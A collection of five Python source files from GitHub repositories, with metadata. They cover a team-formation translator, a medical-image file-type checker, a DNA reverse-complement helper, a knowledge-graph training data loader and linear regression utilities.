+{"seq_id":"44266512964","text":"from typing import List, Union\n\nfrom benchmarking.evaluations.goals import DiversityGoal\nfrom models.enums import (\n    RequirementOperator,\n    Relationship,\n    DiversifyType,\n    TokenizationConstraintDirection,\n)\nfrom models.project import ProjectRequirement\nfrom models.student import Student\nfrom models.team import Team\nfrom models.team_set import TeamSet\nfrom old.team_formation.app.team_generator.algorithm.consts import (\n    FRIEND,\n    ENEMY,\n    DEFAULT,\n)\nfrom old.team_formation.app.team_generator.algorithm.priority_algorithm.priority import (\n    Priority,\n)\nfrom old.team_formation.app.team_generator.student import Student as AlgorithmStudent\nfrom old.team_formation.app.team_generator.team import Team as AlgorithmTeam\nfrom old.team_formation.app.team_generator.team_generator import TeamGenerationOption\n\n\nclass AlgorithmTranslator:\n    @staticmethod\n    def initial_teams_to_team_generation_options(\n        initial_teams: List[Team], num_students: int\n    ) -> TeamGenerationOption:\n        total_teams = 0\n        team_options = []\n\n        for i, initial_team in enumerate(initial_teams):\n            team_options.append(\n                {\n                    \"id\": initial_team.id,\n                    \"project_id\": initial_team.project_id,\n                    \"name\": initial_team.name\n                    or f\"Project {initial_team.project_id} - {i}\",\n                    \"requirements\": [\n                        {\n                            \"id\": requirement.attribute,\n                            \"operator\": AlgorithmTranslator.requirement_operator_to_algorithm_requirement_operator(\n                                requirement.operator\n                            ),\n                            \"value\": requirement.value,\n                        }\n                        for requirement in initial_team.requirements\n                    ],\n                }\n            )\n\n        min_team_size = num_students // total_teams\n        return TeamGenerationOption(\n            max_team_size=min_team_size + 1,\n            min_team_size=min_team_size,\n            total_teams=total_teams,\n            team_options=team_options,\n        )\n\n    @staticmethod\n    def requirement_operator_to_algorithm_requirement_operator(\n        requirement: RequirementOperator,\n    ) -> str:\n        return requirement.value\n\n    @staticmethod\n    def algorithm_requirement_operator_to_requirement_operator(\n        algorithm_requirement: str,\n    ) -> RequirementOperator:\n        if algorithm_requirement == \"exactly\":\n            return RequirementOperator.EXACTLY\n        if algorithm_requirement == \"less than\":\n            return RequirementOperator.LESS_THAN\n        if algorithm_requirement == \"more than\":\n            return RequirementOperator.MORE_THAN\n\n        raise ValueError(\n            f\"{algorithm_requirement} is not a valid project requirement operator in the algorithms module\"\n        )\n\n    @staticmethod\n    def algorithm_teams_to_team_set(algorithm_teams: List[AlgorithmTeam]) -> TeamSet:\n        return TeamSet(\n            _id=1,\n            teams=[\n                AlgorithmTranslator.algorithm_team_to_team(algorithm_team)\n                for algorithm_team in algorithm_teams\n            ],\n        )\n\n    @staticmethod\n    def students_to_algorithm_students(\n        students: List[Student],\n    ) -> List[AlgorithmStudent]:\n        return [\n            AlgorithmTranslator.student_to_algorithm_student(student)\n            for student in students\n        ]\n\n    @staticmethod\n    def algorithm_students_to_students(\n        algorithm_students: List[AlgorithmStudent],\n    ) -> List[Student]:\n        return [\n            AlgorithmTranslator.algorithm_student_to_student(algorithm_student)\n            for algorithm_student in algorithm_students\n        ]\n\n    @staticmethod\n    def team_to_algorithm_team(team: Team) -> AlgorithmTeam:\n        students = AlgorithmTranslator.students_to_algorithm_students(team.students)\n\n        return AlgorithmTeam(\n            id=str(team.id),\n            project_id=team.project_id,\n            name=team.name,\n            students=students,\n            requirements=[\n                {\n                    \"id\": req.attribute,\n                    \"operator\": AlgorithmTranslator.requirement_operator_to_algorithm_requirement_operator(\n                        req.operator\n                    ),\n                    \"value\": req.value,\n                }\n                for req in team.requirements\n            ],\n            locked=team.is_locked,\n        )\n\n    @staticmethod\n    def teams_to_algorithm_teams(teams: List[Team]) -> List[AlgorithmTeam]:\n        return [AlgorithmTranslator.team_to_algorithm_team(team) for team in teams]\n\n    @staticmethod\n    def algorithm_team_to_team(algorithm_team: AlgorithmTeam) -> Team:\n        students = [\n            AlgorithmTranslator.algorithm_student_to_student(algorithm_student)\n            for algorithm_student in algorithm_team.students\n        ]\n        team = Team(\n            _id=int(algorithm_team.id),\n            name=algorithm_team.name,\n            project_id=algorithm_team.project_id,\n            students=students,\n            requirements=[\n                ProjectRequirement(\n                    attribute=requirement[\"id\"],\n                    operator=AlgorithmTranslator.algorithm_requirement_operator_to_requirement_operator(\n                        requirement[\"operator\"]\n                    ),\n                    value=requirement[\"value\"],\n                )\n                for requirement in algorithm_team.requirements\n            ],\n            is_locked=algorithm_team.is_locked,\n        )\n\n        for student in students:\n            student.team = team\n\n        return team\n\n    @staticmethod\n    def algorithm_student_to_student(algorithm_student: AlgorithmStudent) -> Student:\n        return Student(\n            _id=algorithm_student.id,\n            attributes=algorithm_student.skills,\n            relationships={\n                s_id: AlgorithmTranslator.algorithm_relationship_to_relationship(\n                    relationship\n                )\n                for s_id, relationship in algorithm_student.relationships.items()\n            },\n            preferences=[\n                project_id\n                for _, project_id in sorted(\n                    algorithm_student.preferences.items(), key=lambda item: item[0]\n                )\n            ],\n        )\n\n    @staticmethod\n    def student_to_algorithm_student(student: Student) -> AlgorithmStudent:\n        return AlgorithmStudent(\n            id=student.id,\n            skills=student.attributes,\n            relationships={\n                student_id: AlgorithmTranslator.relationship_to_algorithm_relationship(\n                    relationship\n                )\n                for student_id, relationship in student.relationships.items()\n            },\n            preferences={\n                index: project_id\n                for index, project_id in enumerate(student.preferences)\n            },\n        )\n\n    @staticmethod\n    def algorithm_relationship_to_relationship(relationship_value: int) -> Relationship:\n        if relationship_value == FRIEND:\n            return Relationship.FRIEND\n        if relationship_value == ENEMY:\n            return Relationship.ENEMY\n\n        return Relationship.DEFAULT\n\n    @staticmethod\n    def relationship_to_algorithm_relationship(relationship: Relationship) -> int:\n        if relationship == Relationship.FRIEND:\n            return FRIEND\n        if relationship == Relationship.ENEMY:\n            return ENEMY\n\n        return DEFAULT\n\n    @staticmethod\n    def diversity_goal_to_algorithm_priority_dict(\n        goal: DiversityGoal,\n    ) -> Union[dict, None]:\n        if not goal.tokenization_constraint:\n            return None\n\n        priority_type = (\n            Priority.TYPE_DIVERSIFY\n            if goal.strategy == DiversifyType.DIVERSIFY\n            else Priority.TYPE_CONCENTRATE\n        )\n\n        limit_option = (\n            Priority.MIN_OF\n            if goal.tokenization_constraint.direction\n            == TokenizationConstraintDirection.MIN_OF\n            else Priority.MAX_OF\n        )\n\n        return {\n            \"order\": goal.importance,\n            \"constraint\": priority_type,\n            \"skill_id\": goal.attribute,\n            \"limit_option\": limit_option,\n            \"limit\": goal.tokenization_constraint.threshold,\n            \"value\": goal.tokenization_constraint.value,\n        }\n","repo_name":"Teamable-Analytics/algorithms","sub_path":"benchmarking/simulation/algorithm_translator.py","file_name":"algorithm_translator.py","file_ext":"py","file_size_in_byte":8507,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"4869351266","text":"\"\"\"\nReads a directory and idetifies the type of the files using sitk\n\"\"\"\n\nimport SimpleITK as sitk\nfrom pathlib import Path\nfrom glob import glob\nsitk.ProcessObject_SetGlobalWarningDisplay(False)\n\n\ndef read_as_dicom_directory(folder):\n    try:\n        reader = sitk.ImageSeriesReader()\n        files = reader.GetGDCMSeriesFileNames(folder)\n        reader.SetFileNames(files)\n        reader.Execute()\n    except:\n        return False\n    else:\n        return True\n\n\ndef read_as_dicom_files(files):\n    try:\n        reader = sitk.ImageSeriesReader()\n        reader.SetFileNames(files)\n        reader.Execute()\n    except:\n        return False\n    else:\n        return True\n\n\ndef read_as_nrrd(file):\n    try:\n        reader = sitk.ImageFileReader()\n        reader.SetFileName(file)\n        reader.Execute()\n    except:\n        return False\n    else:\n        return True\n\n\ndef read_folder(inp):\n    \"\"\"\n    reads a folder and checks if simpleITK can read it as either an NRRD or DICOM file\n\n    :param inp: input, can be a folder or a file\n    :return:\n    \"\"\"\n    if type(inp) is not str:\n        inp = str(inp)\n\n    if Path(inp).is_file() and read_as_nrrd(inp):\n        return 'NRRD'\n    elif Path(inp).is_dir():\n        files = [file for file in glob(f'{inp}/*') if not file == \"metadata.db\"]\n\n        if len(files) > 1 and read_as_dicom_directory(inp):\n            return 'DICOM'\n        elif len(files) == 1 and read_as_nrrd(files[0]):\n            return 'NRRD'\n        elif len(files) > 1 and read_as_dicom_files(files):\n            return \"DICOM\"\n        else:\n            return 'INVALID'\n    else:\n        return 'INVALID'\n\n\nif __name__ == \"__main__\":\n    has_no_valid_files = r'C:\\Users\\ang.a\\OneDrive - Technion\\Documents\\OneNote Notebooks\\My Notebook'\n    empty_dir = r'C:\\Users\\ang.a\\OneDrive - Technion\\Documents\\MRI_Data\\01002\\01002\\reports'\n    multiple_dicom_dir = r'C:\\Users\\ang.a\\OneDrive - Technion\\Documents\\MRI_Data\\test_dir\\1'\n    single_dicom_dir = r'C:\\Users\\ang.a\\OneDrive - Technion\\Documents\\MRI_Data\\test_dir\\2'\n    mrrd_dir =  r'C:\\Users\\ang.a\\OneDrive - Technion\\Documents\\MRI_Data\\Case005\\Case006\\NRRDS\\003_AXIAL_TRUFISP_2D_UPPER'\n\n    print(multiple_dicom_dir)\n    print(type(multiple_dicom_dir))\n    print(read_folder(multiple_dicom_dir))\n    # print(read_as_dicom_directory(single_dicom_dir))\n","repo_name":"TechnionComputationalMRILab/ImageUntangler","sub_path":"MRICenterline/app/database/filetype.py","file_name":"filetype.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"30628030002","text":"# -*- coding: utf-8 -*-\n__author__ = 'zhangsheng'\n\n\nReverseDict = {'A':'T', 'C':'G', 'G':'C', 'T':'A'}\n\n\ndef ReverseSequence(Sequence):\n\tresult = \"\"\n\tfor i in range(len(Sequence)-1,-1,-1):\n\t\t# print(i)\n\t\tresult += ReverseDict[Sequence[i]]\n\treturn result","repo_name":"zssasa/Bioinformatics","sub_path":"Bioinformatics1/week1/ReverseSequence.py","file_name":"ReverseSequence.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35564723383","text":"#!/usr/bin/python3\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport random\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\n\nclass PyTorchTrainDataset(Dataset):\n\n\tdef __init__(self, head, tail, rel, ent_total, rel_total, sampling_mode = 'normal', bern_flag = False, filter_flag = True, neg_ent = 1, neg_rel = 0):\n\t\t# triples\n\t\tself.head = head\n\t\tself.tail = tail\n\t\tself.rel = rel\n\t\t# total numbers of entities, relations, and triples\n\t\tself.rel_total = rel_total\n\t\tself.ent_total = ent_total\n\t\tself.tri_total = len(head)\n\t\t# the sampling mode\n\t\tself.sampling_mode = sampling_mode\n\t\t# the number of negative examples\n\t\tself.neg_ent = neg_ent\n\t\tself.neg_rel = neg_rel\n\t\tself.bern_flag = bern_flag\n\t\tself.filter_flag = filter_flag\n\t\tif self.sampling_mode == \"normal\":\n\t\t\tself.cross_sampling_flag = None\n\t\telse:\n\t\t\tself.cross_sampling_flag = 0\n\t\tself.__count_htr()\n\n\tdef __len__(self):\n\t\treturn self.tri_total\n\n\tdef __getitem__(self, idx):\n\t\treturn (self.head[idx], self.tail[idx], self.rel[idx])\n\n\tdef collate_fn(self, data):\n\t\tbatch_data = {}\n\t\tif self.sampling_mode == \"normal\":\n\t\t\tbatch_data['mode'] = \"normal\"\n\t\t\tbatch_h = np.array([item[0] for item in data]).reshape(-1, 1)\n\t\t\tbatch_t = np.array([item[1] for item in data]).reshape(-1, 1)\n\t\t\tbatch_r = np.array([item[2] for item in data]).reshape(-1, 1)\n\t\t\tbatch_h = np.repeat(batch_h, 1 + self.neg_ent + self.neg_rel, axis = -1)\n\t\t\tbatch_t = np.repeat(batch_t, 1 + self.neg_ent + self.neg_rel, axis = -1)\n\t\t\tbatch_r = np.repeat(batch_r, 1 + self.neg_ent + self.neg_rel, axis = -1)\n\t\t\tfor index, item in enumerate(data):\n\t\t\t\tlast = 1\n\t\t\t\tif self.neg_ent > 0:\n\t\t\t\t\tneg_head, neg_tail = self.__normal_batch(item[0], item[1], item[2], self.neg_ent)\n\t\t\t\t\tif len(neg_head) > 0:\n\t\t\t\t\t\tbatch_h[index][last:last + len(neg_head)] = neg_head\n\t\t\t\t\t\tlast += len(neg_head)\n\t\t\t\t\tif len(neg_tail) > 0:\n\t\t\t\t\t\tbatch_t[index][last:last + len(neg_tail)] = neg_tail\n\t\t\t\t\t\tlast += len(neg_tail)\n\t\t\t\tif self.neg_rel > 0:\n\t\t\t\t\tneg_rel = self.__rel_batch(item[0], item[1], item[2], self.neg_rel)\n\t\t\t\t\tbatch_r[index][last:last + len(neg_rel)] = neg_rel\n\t\t\tbatch_h = batch_h.transpose()\n\t\t\tbatch_t = batch_t.transpose()\n\t\t\tbatch_r = batch_r.transpose()\n\t\telse:\n\t\t\tself.cross_sampling_flag = 1 - self.cross_sampling_flag\n\t\t\tif self.cross_sampling_flag == 0:\n\t\t\t\tbatch_data['mode'] = \"head_batch\"\n\t\t\t\tbatch_h = np.array([[item[0]] for item in data])\n\t\t\t\tbatch_t = np.array([item[1] for item in data])\n\t\t\t\tbatch_r = np.array([item[2] for item in data])\n\t\t\t\tbatch_h = np.repeat(batch_h, 1 + self.neg_ent, axis = -1)\n\t\t\t\tfor index, item in enumerate(data):\n\t\t\t\t\tneg_head = self.__head_batch(item[0], item[1], item[2], self.neg_ent)\n\t\t\t\t\tbatch_h[index][1:] = neg_head\n\t\t\t\tbatch_h = batch_h.transpose()\n\t\t\telse:\n\t\t\t\tbatch_data['mode'] = \"tail_batch\"\n\t\t\t\tbatch_h = np.array([item[0] for item in data]) \n\t\t\t\tbatch_t = np.array([[item[1]] for item in data])\n\t\t\t\tbatch_r = np.array([item[2] for item in data])\n\t\t\t\tbatch_t = np.repeat(batch_t, 1 + self.neg_ent, axis = -1)\n\t\t\t\tfor index, item in enumerate(data):\n\t\t\t\t\tneg_tail = self.__tail_batch(item[0], item[1], item[2], self.neg_ent)\n\t\t\t\t\tbatch_t[index][1:] = neg_tail\n\t\t\t\tbatch_t = batch_t.transpose()\n\n\t\tbatch_y = np.concatenate([np.ones((len(data), 1)), np.zeros((len(data), self.neg_ent + self.neg_rel))], -1).transpose()\n\t\tbatch_data['batch_h'] = batch_h.squeeze()\n\t\tbatch_data['batch_t'] = batch_t.squeeze()\n\t\tbatch_data['batch_r'] = batch_r.squeeze()\n\t\tbatch_data['batch_y'] = batch_y.squeeze()\n\t\treturn batch_data\n\n\tdef __count_htr(self):\n\n\t\tself.h_of_tr = {}\n\t\tself.t_of_hr = {}\n\t\tself.r_of_ht = {}\n\t\tself.h_of_r = {}\n\t\tself.t_of_r = {}\n\t\tself.freqRel = {}\n\t\tself.lef_mean = {}\n\t\tself.rig_mean = {}\n\n\t\ttriples = zip(self.head, self.tail, self.rel)\n\t\tfor h, t, r in triples:\n\t\t\tif (h, r) not in self.t_of_hr:\n\t\t\t\tself.t_of_hr[(h, r)] = []\n\t\t\tself.t_of_hr[(h, r)].append(t)\n\t\t\tif (t, r) not in self.h_of_tr:\n\t\t\t\tself.h_of_tr[(t, r)] = []\n\t\t\tself.h_of_tr[(t, r)].append(h)\n\t\t\tif (h, t) not in self.r_of_ht:\n\t\t\t\tself.r_of_ht[(h, t)] = []\n\t\t\tself.r_of_ht[(h, t)].append(r)\n\t\t\tif r not in self.freqRel:\n\t\t\t\tself.freqRel[r] = 0\n\t\t\t\tself.h_of_r[r] = {}\n\t\t\t\tself.t_of_r[r] = {}\n\t\t\tself.freqRel[r] += 1.0\n\t\t\tself.h_of_r[r][h] = 1\n\t\t\tself.t_of_r[r][t] = 1\n\n\t\tfor t, r in self.h_of_tr:\n\t\t\tself.h_of_tr[(t, r)] = np.array(list(set(self.h_of_tr[(t, r)])))\n\t\tfor h, r in self.t_of_hr:\n\t\t\tself.t_of_hr[(h, r)] = np.array(list(set(self.t_of_hr[(h, r)])))\n\t\tfor h, t in self.r_of_ht:\n\t\t\tself.r_of_ht[(h, t)] = np.array(list(set(self.r_of_ht[(h, t)])))\n\t\tfor r in range(self.rel_total):\n\t\t\tself.h_of_r[r] = np.array(list(self.h_of_r[r].keys()))\n\t\t\tself.t_of_r[r] = np.array(list(self.t_of_r[r].keys()))\n\t\t\tself.lef_mean[r] = self.freqRel[r] / len(self.h_of_r[r])\n\t\t\tself.rig_mean[r] = self.freqRel[r] / len(self.t_of_r[r])\n\n\tdef __corrupt_head(self, t, r, num_max = 1):\n\t\ttmp = torch.randint(low = 0, high = self.ent_total, size = (num_max, )).numpy()\n\t\tif not self.filter_flag:\n\t\t\treturn tmp\n\t\tmask = np.in1d(tmp, self.h_of_tr[(t, r)], assume_unique=True, invert=True)\n\t\tneg = tmp[mask]\n\t\treturn neg\n\n\tdef __corrupt_tail(self, h, r, num_max = 1):\n\t\ttmp = torch.randint(low = 0, high = self.ent_total, size = (num_max, )).numpy()\n\t\tif not self.filter_flag:\n\t\t\treturn tmp\n\t\tmask = np.in1d(tmp, self.t_of_hr[(h, r)], assume_unique=True, invert=True)\n\t\tneg = tmp[mask]\n\t\treturn neg\n\n\tdef __corrupt_rel(self, h, t, num_max = 1):\n\t\ttmp = torch.randint(low = 0, high = self.rel_total, size = (num_max, )).numpy()\n\t\tif not self.filter_flag:\n\t\t\treturn tmp\n\t\tmask = np.in1d(tmp, self.r_of_ht[(h, t)], assume_unique=True, invert=True)\n\t\tneg = tmp[mask]\n\t\treturn neg\n\n\tdef __normal_batch(self, h, t, r, neg_size):\n\t\tneg_size_h = 0\n\t\tneg_size_t = 0\n\t\tprob = self.rig_mean[r] / (self.rig_mean[r] + self.lef_mean[r]) if self.bern_flag else 0.5\n\t\tfor i in range(neg_size):\n\t\t\tif random.random() < prob:\n\t\t\t\tneg_size_h += 1\n\t\t\telse:\n\t\t\t\tneg_size_t += 1\n\n\t\tneg_list_h = []\n\t\tneg_cur_size = 0\n\t\twhile neg_cur_size < neg_size_h:\n\t\t\tneg_tmp_h = self.__corrupt_head(t, r, num_max = (neg_size_h - neg_cur_size) * 2)\n\t\t\tneg_list_h.append(neg_tmp_h)\n\t\t\tneg_cur_size += len(neg_tmp_h)\n\t\tif neg_list_h != []:\n\t\t\tneg_list_h = np.concatenate(neg_list_h)\n\t\t\t\n\t\tneg_list_t = []\n\t\tneg_cur_size = 0\n\t\twhile neg_cur_size < neg_size_t:\n\t\t\tneg_tmp_t = self.__corrupt_tail(h, r, num_max = (neg_size_t - neg_cur_size) * 2)\n\t\t\tneg_list_t.append(neg_tmp_t)\n\t\t\tneg_cur_size += len(neg_tmp_t)\n\t\tif neg_list_t != []:\n\t\t\tneg_list_t = np.concatenate(neg_list_t)\n\n\t\treturn neg_list_h[:neg_size_h], neg_list_t[:neg_size_t]\n\n\tdef __head_batch(self, h, t, r, neg_size):\n\t\t# return torch.randint(low = 0, high = self.ent_total, size = (neg_size, )).numpy()\n\t\tneg_list = []\n\t\tneg_cur_size = 0\n\t\twhile neg_cur_size < neg_size:\n\t\t\tneg_tmp = self.__corrupt_head(t, r, num_max = (neg_size - neg_cur_size) * 2)\n\t\t\tneg_list.append(neg_tmp)\n\t\t\tneg_cur_size += len(neg_tmp)\n\t\treturn np.concatenate(neg_list)[:neg_size]\n\n\tdef __tail_batch(self, h, t, r, neg_size):\n\t\t# return torch.randint(low = 0, high = self.ent_total, size = (neg_size, )).numpy()\n\t\tneg_list = []\n\t\tneg_cur_size = 0\n\t\twhile neg_cur_size < neg_size:\n\t\t\tneg_tmp = self.__corrupt_tail(h, r, num_max = (neg_size - neg_cur_size) * 2)\n\t\t\tneg_list.append(neg_tmp)\n\t\t\tneg_cur_size += len(neg_tmp)\n\t\treturn np.concatenate(neg_list)[:neg_size]\n\n\tdef __rel_batch(self, h, t, r, neg_size):\n\t\tneg_list = []\n\t\tneg_cur_size = 0\n\t\twhile neg_cur_size < neg_size:\n\t\t\tneg_tmp = self.__corrupt_rel(h, t, num_max = (neg_size - neg_cur_size) * 2)\n\t\t\tneg_list.append(neg_tmp)\n\t\t\tneg_cur_size += len(neg_tmp)\n\t\treturn np.concatenate(neg_list)[:neg_size]\n\t\n\tdef set_sampling_mode(self, sampling_mode):\n\t\tself.sampling_mode = sampling_mode\n\n\tdef set_ent_neg_rate(self, rate):\n\t\tself.neg_ent = rate\n\n\tdef set_rel_neg_rate(self, rate):\n\t\tself.neg_rel = rate\n\n\tdef set_bern_flag(self, bern_flag):\n\t\tself.bern_flag = bern_flag\n\n\tdef set_filter_flag(self, filter_flag):\n\t\tself.filter_flag = filter_flag\n\n\tdef get_ent_tot(self):\n\t\treturn self.ent_total\n\n\tdef get_rel_tot(self):\n\t\treturn self.rel_total\n\n\tdef get_tri_tot(self):\n\t\treturn self.tri_total\n\nclass PyTorchTrainDataLoader(DataLoader):\n\n\tdef __init__(self, \n\t\tin_path = None, \n\t\ttri_file = None,\n\t\tent_file = None,\n\t\trel_file = None,\n\t\tbatch_size = None, \n\t\tnbatches = None, \n\t\tthreads = 8, \n\t\tsampling_mode = \"normal\", \n\t\tbern_flag = False, \n\t\tfilter_flag = True, \n\t\tneg_ent = 1, \n\t\tneg_rel = 0, \n\t\tshuffle = True, \n\t\tdrop_last = True):\n\n\t\tself.in_path = in_path\n\t\tself.tri_file = tri_file\n\t\tself.ent_file = ent_file\n\t\tself.rel_file = rel_file\n\t\tif in_path != None:\n\t\t\tself.tri_file = in_path + \"train2id.txt\"\n\t\t\tself.ent_file = in_path + \"entity2id.txt\"\n\t\t\tself.rel_file = in_path + \"relation2id.txt\"\n\n\t\tdataset = self.__construct_dataset(sampling_mode, bern_flag, filter_flag, neg_ent, neg_rel)\n\n\t\tself.batch_size = batch_size\n\t\tself.nbatches = nbatches\n\t\tif batch_size == None:\n\t\t\tself.batch_size = dataset.get_tri_tot() // nbatches\n\t\tif nbatches == None:\n\t\t\tself.nbatches = dataset.get_tri_tot() // batch_size\n\n\t\tsuper(PyTorchTrainDataLoader, self).__init__(\n\t\t\tdataset = dataset,\n\t\t\tbatch_size = self.batch_size,\n\t\t\tshuffle = shuffle,\n\t\t\tpin_memory = True,\n\t\t\tnum_workers = threads,\n\t\t\tcollate_fn = dataset.collate_fn,\n\t\t\tdrop_last = drop_last)\n\n\tdef __construct_dataset(self, sampling_mode, bern_flag, filter_flag, neg_ent, neg_rel):\n\t\tf = open(self.ent_file, \"r\")\n\t\tent_total = (int)(f.readline())\n\t\tf.close()\n\n\t\tf = open(self.rel_file, \"r\")\n\t\trel_total = (int)(f.readline())\n\t\tf.close()\n\n\t\thead = []\n\t\ttail = []\n\t\trel = []\n\n\t\tf = open(self.tri_file, \"r\")\n\t\ttriples_total = (int)(f.readline())\n\t\tfor index in range(triples_total):\n\t\t\th,t,r = f.readline().strip().split()\n\t\t\thead.append((int)(h))\n\t\t\ttail.append((int)(t))\n\t\t\trel.append((int)(r))\n\t\tf.close()\n\n\t\tdataset = PyTorchTrainDataset(np.array(head), np.array(tail), np.array(rel), ent_total, rel_total, sampling_mode, bern_flag, filter_flag, neg_ent, neg_rel)\n\t\treturn dataset\n\n\t\"\"\"interfaces to set essential parameters\"\"\"\n\n\tdef set_sampling_mode(self, sampling_mode):\n\t\tself.dataset.set_sampling_mode(sampling_mode)\n\n\tdef set_work_threads(self, work_threads):\n\t\tself.num_workers = work_threads\n\n\tdef set_nbatches(self, nbatches):\n\t\tself.nbatches = nbatches\n\t\tself.batch_size = self.tripleTotal // self.nbatches\n\n\tdef set_batch_size(self, batch_size):\n\t\tself.batch_size = batch_size\n\t\tself.nbatches = self.tripleTotal // self.batch_size\n\n\tdef set_ent_neg_rate(self, rate):\n\t\tself.dataset.set_ent_neg_rate(rate)\n\n\tdef set_rel_neg_rate(self, rate):\n\t\tself.dataset.set_rel_neg_rate(rate)\n\n\tdef set_bern_flag(self, bern_flag):\n\t\tself.dataset.set_bern_flag(bern_flag)\n\n\tdef set_filter_flag(self, filter_flag):\n\t\tself.dataset.set_filter_flag(filter_flag)\n\t\n\t\"\"\"interfaces to get essential parameters\"\"\"\n\t\n\tdef get_batch_size(self):\n\t\treturn self.batch_size\n\n\tdef get_ent_tot(self):\n\t\treturn self.dataset.get_ent_tot()\n\n\tdef get_rel_tot(self):\n\t\treturn self.dataset.get_rel_tot()\n\n\tdef get_triple_tot(self):\n\t\treturn self.dataset.get_tri_tot()","repo_name":"thunlp/OpenKE","sub_path":"openke/data/PyTorchTrainDataLoader.py","file_name":"PyTorchTrainDataLoader.py","file_ext":"py","file_size_in_byte":11097,"program_lang":"python","lang":"en","doc_type":"code","stars":3581,"dataset":"github-code","pt":"77"}
+{"seq_id":"28419192922","text":"import warnings\nimport numpy as np\nfrom polyUtils import power_itr\nfrom sklearn import linear_model\nfrom dataclasses import dataclass\nfrom sklearn.model_selection import train_test_split\n\ndef normalize_ray(ray: np.ndarray):\n    # normalize array in the same way as sklearn.preprocessing.StandardScaler\n    std = np.std(ray)\n    if (std != 0):\n        return (ray - np.mean(ray)) / std\n    else:\n        return ray - np.mean(ray)\n\n@dataclass\nclass Data:\n    # simple struct containing X and y data\n    X: np.ndarray \n    y: np.ndarray\n\n    def normalize(self):\n        self.y = normalize_ray(self.y)\n        for i in range(self.X.shape[1]):\n            self.X[:, i] = normalize_ray(self.X[:, i])\n\n    def shape(self):\n        return self.X.shape\n\n    def copy(self):\n        return Data(self.X.copy(), self.y.copy())\n\n    def __iter__(self):\n        self.i = 0\n        return self\n\n    def __next__(self):\n        if self.i == 0:\n            self.i += 1\n            return self.X\n        elif self.i == 1:\n            self.i += 1\n            return self.y\n        else:\n            raise StopIteration\n\n@dataclass\nclass SplitData:\n    # simple class containing test and training data, with som usefull constructors\n    test_data: Data\n    train_data: Data\n\n    def train_shape(self):\n        return self.train_data.shape()\n\n    def test_shape(self):\n        return self.test_data.shape()\n\n    def copy(self):\n        return SplitData(self.test_data.copy(), self.train_data.copy())\n\n    @classmethod\n    def from_data(cls, data, test_size=0.2):\n        X_train, X_test, y_train, y_test = train_test_split(data.X, data.y, test_size=test_size)\n        return cls(Data(X_test, y_test), Data(X_train, y_train))\n\n    @classmethod\n    def from_1d_polynomial(cls, poly_degree, x_ray, y_ray, normalize=False):\n        n = len(x_ray)\n        m = poly_degree+1\n        X = np.zeros((n, m))\n    \n        for d in range(m):\n            X[:, d] = x_ray**d\n            \n        data = Data(X, y_ray)\n        if normalize:\n            data.normalize()\n            \n\n        return cls.from_data(data)\n\n    @classmethod\n    def from_2d_polynomial(cls, poly_degree, x_grid, y_grid, z_grid, normalize=False):\n        x_flat, y_flat = x_grid.flatten(), y_grid.flatten()\n        n = len(x_flat)\n        m = int((poly_degree + 2) * (poly_degree + 1) / 2)\n\n        X = np.zeros((n, m))\n        for i, (xd, yd) in enumerate(power_itr(poly_degree)):\n            X[:, i] = x_flat**xd * y_flat**yd\n        y = z_grid.flatten()\n        \n        data = Data(X, y)\n        if normalize:\n            data.normalize()\n\n        return cls.from_data(data)\n\nclass LinFit:\n    # a class for linear regression\n    def __init__(self, split_data: SplitData):\n        self.split_data = split_data\n\n    def train_shape(self):\n        return self.split_data.train_shape()\n\n    def test_shape(self):\n        return self.split_data.test_shape()\n\n    def get_beta(self):\n        X, y = self.split_data.train_data\n        return np.linalg.pinv(X.T @ X) @ X.T @ y\n\n    def get_beta_ridge(self, lda):\n        X, y = self.split_data.train_data\n        return np.linalg.pinv(X.T @ X + lda * np.identity(X.shape[1])) @ X.T @ y\n\n    def get_beta_lasso(self, lda):\n        X, y = self.split_data.train_data\n        # We Lasso regression from sklearn\n        model = linear_model.Lasso(alpha=lda, fit_intercept=False)\n        with warnings.catch_warnings():\n            # if the model can't find a good fit it produces an annoying warning\n            warnings.simplefilter(\"ignore\")\n            model.fit(X, y)\n        return model.coef_\n\n    def get_fit(self, beta):\n        if beta is None:\n            beta = self.get_beta()\n        X = self.split_data.test_data.X\n        return X @ beta\n\n    def test_fit(self, beta=None):\n        y_fit = self.get_fit(beta)\n        y_test = self.split_data.test_data.y\n\n        n = len(y_test)\n        average = np.sum(y_test) / n\n        squared_error = np.sum((y_test - y_fit)**2)\n        MSE = squared_error / n\n        R2 = 1 - squared_error / np.sum((y_test - average)**2)\n        return MSE, R2\n\n    def get_train_fit(self, beta):\n        if beta is None:\n            beta = self.get_beta()\n        X = self.split_data.train_data.X\n        return X @ beta\n\n    def test_train_fit(self, beta=None):\n        y_fit = self.get_train_fit(beta)\n        y_train = self.split_data.train_data.y\n\n        n = len(y_train)\n        average = np.average(y_train)\n        squared_error = np.sum((y_train - y_fit)**2)\n        MSE = squared_error / n\n        R2 = 1 - squared_error / np.sum((y_train - average)**2)\n        return MSE, R2\n\n","repo_name":"Emilinya/FYS-STK4155","sub_path":"project1/linfitUtils.py","file_name":"linfitUtils.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
